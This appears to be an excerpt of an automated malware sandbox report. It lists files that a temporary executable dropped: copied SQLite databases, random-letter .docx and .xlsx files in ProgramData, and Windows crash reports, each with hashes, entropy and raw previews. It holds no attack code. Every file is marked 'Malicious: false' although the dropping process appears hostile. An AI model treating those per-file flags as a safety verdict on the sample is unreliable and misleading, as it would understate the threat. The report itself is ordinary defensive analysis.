MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIECFHDB

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8770706882531599
Encrypted:	false
SSDEEP:	3072:gJjJGtpTq2yv1AuNZRY3diu8iBVqF3JBT:hpezNZQd58i+BT
MD5:	2959386C74558D3D8C32067705D24F35
SHA1:	F6E9D455BF517984A0EB9B7D2D8370F70DFEAB54
SHA-256:	AF64B309F2D76DDF54E609C6B488A98726445C5FCDA1B355E6986CBAA997BF9B
SHA-512:	AFF0F90920F228B1B6225B7A831B245BC383FEA22C263F67D1CA3666828B7D0FE5A189D298D858261AE138CFA56C138F888F350E844D40A62AE4507078A15B1C
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x68555a0d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658563792448834
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	58743F71AB291DA6FE8B12094F03F378
SHA1:	8F29C5793327AEF47AD702DB2574FEC070B1928C
SHA-256:	6B38B8A36BE8842DBB3925A87A2AFA28F0A0ACD9F75786211A3F91DB189373D3
SHA-512:	389F86BCB5F0C48DBBF868C2ABF3B05A22AC652CA0EFA1FD1348283BBC683AC51075D29ED8DE03775418D3AA639085CEA10BA1C410960736BDF1D223C524E2D1
Malicious:	false
Preview:	hUZ.... ...............X\...;...{......................0.z..........{.......\|e.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................9..<.....\|e..................f.......\|e..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131285655178788
Encrypted:	false
SSDEEP:	3:tKYeEDRtGuAJkhvekl1CTWQXAllrekGltll/SPj:tKzGtrxl0T3AJe3l
MD5:	194B2501603FB41075A7D6F4DAB7CF3F
SHA1:	1BD73AFFBA326B449401EA1D815F7D9CE4F406CE
SHA-256:	4FA61CA8F6C86DC32C6B9BA16A43A59AC97367D9A9B8990DA91BB6DA2D8BFAC8
SHA-512:	D322687A6EEDB127705A6ADDCA53BE9E7396E5905BA586337D6770DC04BAB6A94A943173DC490F7687A089771B9913B2FED7145BFCCD9B2CE54AEF9AF8197311
Malicious:	false
Preview:	j."......................................;...{.......\|e......{...............{.......{...XL......{...................f.......\|e.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_i1.exe_cb9b697e472f7bd37ff2e333030dc99bb374752_24622bb6_60047f08-c19d-4d7c-8e74-56969ceed62f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0750263792279606
Encrypted:	false
SSDEEP:	192:yaLbxd013IgwjsqpeugCzuiFWZ24IO8h:ZLbxe13IgwjwCzuiFWY4IO8h
MD5:	9A32DB741DF5C0DC2EF90171F98409B7
SHA1:	0F0AE599E0CA124EE888D12A07B271953698743A
SHA-256:	823E2D53DEC827ECDBC7B7F72E6CC9B4025441108F7BB52B990DE304AC1C5746
SHA-512:	DF522B2372C50D9A7A8666E043D726D33018548BB6A18099D9192F502C56815A564E9BF2ADEA36D5784837B9538CEFC29A2FAC0848CBB3F3870B8CE74EB3CED1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.5.9.5.9.8.1.0.5.7.4.5.7.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.5.9.5.9.8.2.0.5.7.4.5.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.0.4.7.f.0.8.-.c.1.9.d.-.4.d.7.c.-.8.e.7.4.-.5.6.9.6.9.c.e.e.d.6.2.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.b.9.9.5.d.9.5.-.3.4.f.e.-.4.b.7.8.-.a.e.d.0.-.d.e.7.e.5.5.e.f.1.8.c.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.i.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.3.c.-.0.0.0.1.-.0.0.1.4.-.6.7.c.d.-.6.1.f.5.b.8.9.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.3.6.b.f.a.1.7.8.b.6.4.c.8.e.4.f.b.0.3.4.4.0.c.7.1.e.7.0.b.e.0.0.0.0.0.f.f.f.f.!.0.0.0.0.f.a.8.2.7.d.6.b.4.f.9.c.9.4.d.d.1.3.7.f.c.2.4.b.2.0.1.2.5.9.a.4.c.8.2.9.3.9.1.3.!.i.1...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.2.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC70.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Apr 26 09:06:21 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	51306
Entropy (8bit):	2.839267890423992
Encrypted:	false
SSDEEP:	384:Tu4EZ3tGD4M3lYCE1064F5I2KPHAs05Cov3:hEJtGD4M3lYCE1R4FXWHAsi53
MD5:	18B52CCB647173A1F2A89C663D6AC542
SHA1:	FE83F3944249567C273D7C5BD67F09456F8DEB92
SHA-256:	B46481E269C1C4C15AA96BE681A4613705BABBE2F1FB491CE155D5F1465EFC13
SHA-512:	A65979299A67A901072BCDC0944373F0D9968AB273110FC779BEAE3738A3F2D324A866EC103E1EDB5E5077B270906EA04606595167FF55094459C7A05E56FED1
Malicious:	false
Preview:	MDMP..a..... ........n+f............4...........H...H.......d....#......d...4?..........`.......8...........T............:..............(...........*..............................................................................eJ......x+......GenuineIntel............T.......<...xn+f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE55.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8234
Entropy (8bit):	3.685079938771035
Encrypted:	false
SSDEEP:	192:R6l7wVeJ7Tl6bRj6YXTq6phgmfFB+pDB89bKHsftOm:R6lXJF6bRj6YO6phgmfFBNKMfd
MD5:	462DD3B612A3F7B21A5CEAFBD5ABE552
SHA1:	C7C989AE9AA3C71A85414557713AE8B114A15608
SHA-256:	6B8245675D09E23A2E251C8CCC8D86F3DB42EDD933133CCC3F9D2612B93DB2C9
SHA-512:	132562700EE14B5AB3EF8DE589AF5874FCF4BDE77506BD1ABAC5CCFFA2DE741DD35C92A1CE01EAF4D65D925D4F023AF235A6AC6C9B1506D55A2CBC061D9309E5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEF3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4523
Entropy (8bit):	4.420363991263318
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI9RKNxWpW8VYqYm8M4JWuFQ+q8gskyM9ICfd:uIjfeI7mu7VuJg29MqCfd
MD5:	706E31F9D1B2CC8245E18572C105CE82
SHA1:	191C93580A829F5D0194A17F921041086C95C0B9
SHA-256:	ACE7EBD06DB3CDCFDA8F36D38262CC7A849B14FCDFC372D256D30743DD82CA54
SHA-512:	FA8AF397E8E8A427681FEAE1CFE07CB4CFC1517C3CD7578CEF7D59BF00AF465F87BCE80218C3135F6C988DE5F8EA3B37E99505519E05ED8160A68F502CBD4897
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="296649" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\NIRMEKAMZH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694574194309462
Encrypted:	false
SSDEEP:	24:57msLju1di6quBsK4eI3+RkAjyMKtB/kS0G1:gmjuC1uBsNeAokAUB/GE
MD5:	78801AF1375CDD81ED0CC275FE562870
SHA1:	8ED80B60849A4665F11E20DE225B9ACB1F88D5A9
SHA-256:	44BF2D71E854D09660542648F4B41BC00C70ABA36B4C8FD76F9A8D8AB23B5276
SHA-512:	E20D16EC40FEF1A83DB1FC39A84B691870C30590FC70CA38CC83A8F08C08F626E3136ADBF3B731F85E5768561C8829C42DF3B97C726191FEF3859272A03E99E0
Malicious:	false
Preview:	NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

C:\ProgramData\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\ProgramData\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
